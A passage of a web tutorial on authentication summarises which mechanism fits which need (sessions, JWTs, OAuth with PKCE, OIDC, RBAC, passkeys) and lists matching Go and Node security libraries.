Phishing-resistant MFACodes and push prompts can be relayed by a proxy. Passkeys can't: the browser checks the domain.
⛔
Authorize every objectOne can(user, action, object) function, deny by default; filter lists in the query; tenant ID in every query.
I want to…Use
Log users into my own web appSession in Redis + __Host- cookie (§02–§03)
Let many services trust one loginShort-lived JWTs signed with EdDSA/RS256, verified via JWKS (§04–§05)
Cancel access immediatelySessions; for JWTs: short exp + refresh rotation + a jti denylist (§06)
Act on a user's data at another serviceOAuth 2.0 authorization code + PKCE (§07)
"Sign in with Google"OIDC; verify the ID token and nonce (§08)
A backend job calling an APIClient credentials, or workload identity / mTLS (§07, §11)
Stop credential stuffingRate limits per account and per IP, breached-password checks, MFA (§11)
Decide who can do whatRBAC for features + ownership/attribute or relationship checks per object (§10)
GoNode
golang.org/x/crypto/bcryptcrypto.scrypt (built in)
crypto/rand.Text() (Go 1.24+)crypto.randomBytes(32).toString("base64url")
github.com/golang-jwt/jwt/v5 + WithValidMethodsjose jwtVerify(…, { algorithms })
golang.org/x/oauth2 (S256ChallengeOption, VerifierOption)openid-client, or fetch + URLSearchParams
github.com/coreos/go-oidc/v3jose createRemoteJWKSet
github.com/go-webauthn/webauthn@simplewebauthn/server
crypto/subtle.ConstantTimeComparecrypto.timingSafeEqual
Finished reading?Mark it complete to track your progress on a roadmap. Saved in this browser only.
Up next in SecurityInjection Attacks
Read →